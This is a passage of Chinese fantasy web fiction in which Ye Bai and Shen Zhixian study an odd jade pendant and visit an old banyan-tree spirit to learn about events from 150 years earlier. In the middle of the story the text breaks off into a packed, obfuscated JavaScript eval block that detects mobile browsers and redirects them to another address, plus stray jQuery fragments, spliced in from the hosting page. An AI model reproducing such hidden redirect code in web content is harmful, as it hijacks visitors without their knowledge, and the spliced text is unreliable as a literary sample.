夜白往前走了几步,从落后他到两人并肩:“意思就是,我还要再和你呆一段时间,怎么,你不愿意吗?”
沈知闲偏头看了一眼夜白:“我还以为……”
“以为什么?”夜白看着他,“以为我因为一百多年前的事开始讨厌你吗?”
“虽然我确实很生气,但那件事并不是你做出来的,而且,就像你说的那样,那件事确实有可疑的地方。”夜白垂眸,脚无意识跟着沈知闲步伐迈步。
“而且我不是说了吗?要和你一起查清楚事情的真相。”夜白看着沈知闲,语气认真。
沈知闲点了点头:“好,那我就和你一起查清事情的真相。”
两人从妖管局大楼出来,远远就看到了还在远处等待着的小妖精。
小妖精看到他们两人出来,还有点不敢确认,直到感受到夜白的气息才招手:“这边!我还以为你们两个今天不出来了呢!”
夜白笑了笑,跟着他跨过巨大的屏障,回到了人类世界。
外面还在下雨,不过雨势小了许多,天边也泛起了鱼肚白。
快要天亮了。
沈知闲以坐上车,没撑多久就睡着了。
小妖精一边开车,一边和夜白闲话:“夜前辈,没想到你也可以化形了!”
夜白笑了笑,他之前不能化形的事情估计整个F市的妖精都知道,因此倒也不意外:“是啊,没想到吧?”
小妖不好意思笑了笑:“没想到,那您现在可以化形了,又这么厉害,考虑过来妖管局上班吗?”
夜白想了想,不确定道:“应该会吧……?”
不知道鼠先生怎么给他安排了。
两人有一搭没一搭的聊着天,丝毫没注意到车底一股黑气跟了他们很久。
…………
两人回去睡了个天昏地暗,夜白又梦到了以前的事情。
依旧和在水蛭医生那里一样,夜白只梦到了那里就又醒了。
他睁眼,看到下午的阳光透过没拉好的窗帘洒进来,心里怅然若失。
沈知闲还没醒来,夜白轻手轻脚走到对方床头,看着沈知闲的沉睡的面孔。
他伸手,试图把对方脖子上的玉佩悄悄拽出来。
刚一动手,沈知闲就睁开眼睛,看着鬼鬼祟祟的夜白。
夜白:“……你醒了。”
他有点尴尬的收回手,欲盖弥彰的替沈知闲掖了掖被子。
沈知闲坐起来,摘下玉佩递给夜白:“你要这个是吗?”
夜白不敢直接碰到玉佩,这东西给他的感觉太割裂了,既想靠近又想远离,只远远提着绳子:“你什么时候醒的?”
他看对方这样可没有一点刚睡醒的样子。
“就在你鬼鬼祟祟进我卧室的时候。”
“……”夜白掩饰性清了清嗓子,“这个不重要,我来看看你的玉佩。”
沈知闲点了点头:“看吧。”
夜白着提玉佩,起身拉开了窗帘,明亮的光霎时充满整个卧室。
他眯了眯眼,迅速适应了这股亮光,提着玉佩的绳子坐在飘窗上,跟沈知闲说话:“这块玉佩是谁给你的?”
沈知闲也起来,坐到夜白身边看着玉佩:“是我妈妈那边一代代传下来的。”
夜白点了点头,看着飞鸟心口的那一抹艳红色。
他总觉得,这是一滴血。
“玉佩到底有什么问题?”沈知闲问。
“我不知道,”夜白诚实摇头,“但给我的感觉……很割裂。”
“割裂?”
“对,又想靠近又想远离,很不舒服。”夜白皱着眉,把玉佩递给沈知闲。
奇怪的很,他自己拿着,或者说玉佩远离了沈知闲他就有那种感觉,但一回到沈知闲身上那股感觉就完全没有了,好像被压制住了一般。
沈知闲摩挲这玉佩,陷入了沉思。
夜白看了看外面的天色,对沈知闲说:“我要出去一趟,你要一起吗?”
沈知闲的思绪被打断:“出去?干什么去?”
他怎么感觉认识夜白之后,他的生活变的“精彩”了不少?
“去找老榕树精爷爷,你去吗?不去我就飞走了。”夜白打开窗户跃跃欲试。
“没什么事,我跟你去。”
“走吧。”
两人下了楼,沈知闲拉开车门,看着夜白舒舒服服窝在副驾驶,忽然深感自己之后可能就是个伺候人的命。
“在哪个地方?”沈知闲问。
夜白说:“就是上次,你出去遇到我那个地方。”
“?”沈知闲有点迟疑,“那棵大榕树?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309538|198761||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“对。”夜白随意点点头,头发顺着脖子滑下来,把他不耐烦拨弄到一侧。
沈知闲:“…………”
怎么忽然感觉自己身边好多妖怪?
车子平稳汇入车流,顺利到达了榕树所在的城郊。
天气将要入秋了,下午的风柔和的从两人中间钻过去,拨弄了一下夜白的头发,蜷曲着又飞到树梢。
榕树动了动叶子,朝夜白打了个招呼。
夜白深呼吸了一下,朝着榕树精走去。
沈知闲顿了一下,也跟着他过去。
这里像他上次来的时候一样,人很多,闲适的坐在树下的长椅上交谈,或者小孩子扯着玩具叽叽喳喳跑过去。
夜白扶起一个差点摔到的小孩子,得到一句大声的:“谢谢哥哥!”
夜白笑了笑,走到大榕树下,找了个地方坐下。
沈知闲跟着他坐下,眼睛看到熟悉的小摊,忍不住把夜白的羽毛拿出来。
他现在有两根夜白的羽毛了,一根塑封着,另一根还是光秃秃的。
夜白看到他手里的羽毛,伸手从他手里抽出来:“怎么还包起来了?”
“这样方便保存。”沈知闲道。
夜白点了点头,把羽毛还给沈知闲,伸手摸了摸榕树的气根:“老树精爷爷。”
榕树在气根上幻化出一张脸:“变成人形了?”
他看不到夜白的长相,但能通过感知知道夜白的大概。
沈知闲被突然出现的脸吓了一下,忍不住左右打量了一下。
老榕树精注意到他:“小子,别怕。”
沈知闲有些尴尬的笑了笑,妖精什么的,哪怕跟着夜白见了这么多,还是有些不习惯啊。
老树精笑了一下:“想当初,你那个半妖先祖还喜欢在我身上睡觉呢!”
夜白问:“爷爷,你知道一百五十多年前到底发生了什么吗?”
沈知闲也看着老树精,有点紧张的扣着手。
老树精听他这么问,心里也大概知道了什么,长叹了一口气:“你也知道了啊。”
夜白点了点头:“我想起来了一点之前的记忆,但是还是不知道到底发生了什么。”
老树精伸出一根气根,落在夜白头上摸了摸:“之前的事,其实我也记不太清了……”